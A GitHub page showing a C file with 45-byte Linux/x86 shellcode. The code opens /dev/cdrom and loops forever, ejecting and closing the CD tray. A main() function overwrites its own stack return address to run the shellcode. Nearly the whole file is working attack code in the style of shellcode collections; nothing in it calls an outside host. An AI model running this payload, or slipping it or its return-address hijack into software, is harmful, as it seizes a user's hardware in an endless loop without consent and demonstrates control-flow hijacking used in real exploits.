-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcdrom-frenzy.c
executable file
·41 lines (33 loc) · 1020 Bytes
/
cdrom-frenzy.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/*
* (linux/x86) eject & close cd-rom frenzy loop (follows "/dev/cdrom" symlink) - 45 bytes
*/
char shellcode[] =
"\x6a\x05" // push $0x5
"\x58" // pop %eax
"\x31\xc9" // xor %ecx,%ecx
"\x51" // push %ecx
"\xb5\x08" // mov $0x8,%ch
"\x68\x64\x72\x6f\x6d" // push $0x6d6f7264
"\x68\x65\x76\x2f\x63" // push $0x632f7665
"\x68\x2f\x2f\x2f\x64" // push $0x642f2f2f
"\x89\xe3" // mov %esp,%ebx
"\xcd\x80" // int $0x80
"\x89\xc3" // mov %eax,%ebx
//
// <_makeio>:
//
"\x66\xb9\x09\x53" // mov $0x5309,%cx
//
// <_frenzy>:
//
"\xb0\x36" // mov $0x36,%al
"\xcd\x80" // int $0x80
"\xf5" // cmc
"\x72\xf5" // jc <_makeio>
"\x80\xc1\x10" // add $0x10,%cl
"\xeb\xf4"; // jmp <_frenzy>
int main(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int) shellcode;
}